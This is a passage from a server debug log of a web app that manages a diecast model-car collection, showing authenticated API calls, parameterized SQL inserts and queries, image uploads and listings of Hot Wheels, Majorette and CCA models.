      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T04:42:45.066Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T04:42:45.067Z server-connect:app Executing action step identify
2026-02-04T04:42:45.067Z server-connect:app options: { provider: 'security' }
2026-02-04T04:42:45.067Z server-connect:output identity: 1
2026-02-04T04:42:45.067Z server-connect:app Executing action step restrict
2026-02-04T04:42:45.067Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:42:45.069Z server-connect:output restrict: undefined
2026-02-04T04:42:45.069Z server-connect:app Executing action step condition
2026-02-04T04:42:45.069Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T04:42:45.069Z server-connect:app Executing action step insert
2026-02-04T04:42:45.069Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T04:42:45.070Z server-connect:output insert: { affected: 1, identity: 147 }
2026-02-04T04:42:45.070Z server-connect:app Executing action step condition
2026-02-04T04:42:45.070Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T04:42:45.070Z server-connect:app Executing action step upload
2026-02-04T04:42:45.070Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T04:42:45.070Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T04:42:45.070Z server-connect:upload Process fields: 'images[]'
2026-02-04T04:42:45.070Z server-connect:upload Processing file: {
  name: 'ID068773_uzv2OVsrqLHA.jpeg',
  data: <Buffer >,
  size: 78723,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-14-20378841770180165065',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: '444dcd2186b6adce95294e5c30cb7164',
  mv: [Function: mv]
}
2026-02-04T04:42:45.070Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID068773_uzv2OVsrqLHA_1327414f-f853-4df9-afa8-384cf9dfba75.jpeg',
  rel: 'public/assets/images/diecast/ID068773_uzv2OVsrqLHA_1327414f-f853-4df9-afa8-384cf9dfba75.jpeg'
}
2026-02-04T04:42:45.070Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID068773_uzv2OVsrqLHA_1327414f-f853-4df9-afa8-384cf9dfba75.jpeg',
  rel: 'assets/images/diecast/ID068773_uzv2OVsrqLHA_1327414f-f853-4df9-afa8-384cf9dfba75.jpeg'
}
2026-02-04T04:42:45.070Z server-connect:output upload_image: [
  {
    name: 'ID068773_uzv2OVsrqLHA_1327414f-f853-4df9-afa8-384cf9dfba75.jpeg',
    path: '/public/assets/images/diecast/ID068773_uzv2OVsrqLHA_1327414f-f853-4df9-afa8-384cf9dfba75.jpeg',
    url: '/assets/images/diecast/ID068773_uzv2OVsrqLHA_1327414f-f853-4df9-afa8-384cf9dfba75.jpeg',
    type: 'image/jpeg',
    size: 78723
  }
]
2026-02-04T04:42:45.070Z server-connect:app Executing action step repeat
2026-02-04T04:42:45.070Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T04:42:45.070Z server-connect:app Executing action step insert
2026-02-04T04:42:45.070Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T04:42:45.071Z server-connect:output images: { affected: 1, identity: 165 }
2026-02-04T04:42:45.071Z server-connect:output repeat_images: [ {} ]
2026-02-04T04:42:45.071Z server-connect:output condition: undefined
2026-02-04T04:42:45.071Z server-connect:output condition: undefined
2026-02-04T04:42:45.298Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T04:42:45.299Z server-connect:app Executing action step identify
2026-02-04T04:42:45.299Z server-connect:app options: { provider: 'security' }
2026-02-04T04:42:45.299Z server-connect:output identity: 1
2026-02-04T04:42:45.299Z server-connect:app Executing action step restrict
2026-02-04T04:42:45.299Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:42:45.299Z server-connect:output restrict: undefined
2026-02-04T04:42:45.299Z server-connect:app Executing action step paged
2026-02-04T04:42:45.299Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T04:42:45.302Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 129,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T04:43:27.712Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T04:43:27.713Z server-connect:app Executing action step identify
2026-02-04T04:43:27.713Z server-connect:app options: { provider: 'security' }
2026-02-04T04:43:27.713Z server-connect:output identity: 1
2026-02-04T04:43:27.713Z server-connect:app Executing action step restrict
2026-02-04T04:43:27.713Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:43:27.714Z server-connect:output restrict: undefined
2026-02-04T04:43:27.714Z server-connect:app Executing action step condition
2026-02-04T04:43:27.714Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T04:43:27.714Z server-connect:app Executing action step insert
2026-02-04T04:43:27.715Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T04:43:27.717Z server-connect:output insert: { affected: 1, identity: 148 }
2026-02-04T04:43:27.717Z server-connect:app Executing action step condition
2026-02-04T04:43:27.717Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T04:43:27.717Z server-connect:app Executing action step upload
2026-02-04T04:43:27.717Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T04:43:27.717Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T04:43:27.717Z server-connect:upload Process fields: 'images[]'
2026-02-04T04:43:27.717Z server-connect:upload Processing file: {
  name: 'ID062457_PCUVCqR8HGv.jpeg',
  data: <Buffer >,
  size: 98242,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-15-20378841770180207711',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'dee3648a35e19a334802c1bae72bb125',
  mv: [Function: mv]
}
2026-02-04T04:43:27.717Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID062457_PCUVCqR8HGv_d103767a-27e6-4fe9-a565-b334954ec4b6.jpeg',
  rel: 'public/assets/images/diecast/ID062457_PCUVCqR8HGv_d103767a-27e6-4fe9-a565-b334954ec4b6.jpeg'
}
2026-02-04T04:43:27.717Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID062457_PCUVCqR8HGv_d103767a-27e6-4fe9-a565-b334954ec4b6.jpeg',
  rel: 'assets/images/diecast/ID062457_PCUVCqR8HGv_d103767a-27e6-4fe9-a565-b334954ec4b6.jpeg'
}
2026-02-04T04:43:27.717Z server-connect:output upload_image: [
  {
    name: 'ID062457_PCUVCqR8HGv_d103767a-27e6-4fe9-a565-b334954ec4b6.jpeg',
    path: '/public/assets/images/diecast/ID062457_PCUVCqR8HGv_d103767a-27e6-4fe9-a565-b334954ec4b6.jpeg',
    url: '/assets/images/diecast/ID062457_PCUVCqR8HGv_d103767a-27e6-4fe9-a565-b334954ec4b6.jpeg',
    type: 'image/jpeg',
    size: 98242
  }
]
2026-02-04T04:43:27.717Z server-connect:app Executing action step repeat
2026-02-04T04:43:27.717Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T04:43:27.717Z server-connect:app Executing action step insert
2026-02-04T04:43:27.717Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T04:43:27.719Z server-connect:output images: { affected: 1, identity: 166 }
2026-02-04T04:43:27.719Z server-connect:output repeat_images: [ {} ]
2026-02-04T04:43:27.719Z server-connect:output condition: undefined
2026-02-04T04:43:27.719Z server-connect:output condition: undefined
2026-02-04T04:43:27.937Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T04:43:27.937Z server-connect:app Executing action step identify
2026-02-04T04:43:27.937Z server-connect:app options: { provider: 'security' }
2026-02-04T04:43:27.937Z server-connect:output identity: 1
2026-02-04T04:43:27.937Z server-connect:app Executing action step restrict
2026-02-04T04:43:27.937Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:43:27.937Z server-connect:output restrict: undefined
2026-02-04T04:43:27.937Z server-connect:app Executing action step paged
2026-02-04T04:43:27.938Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
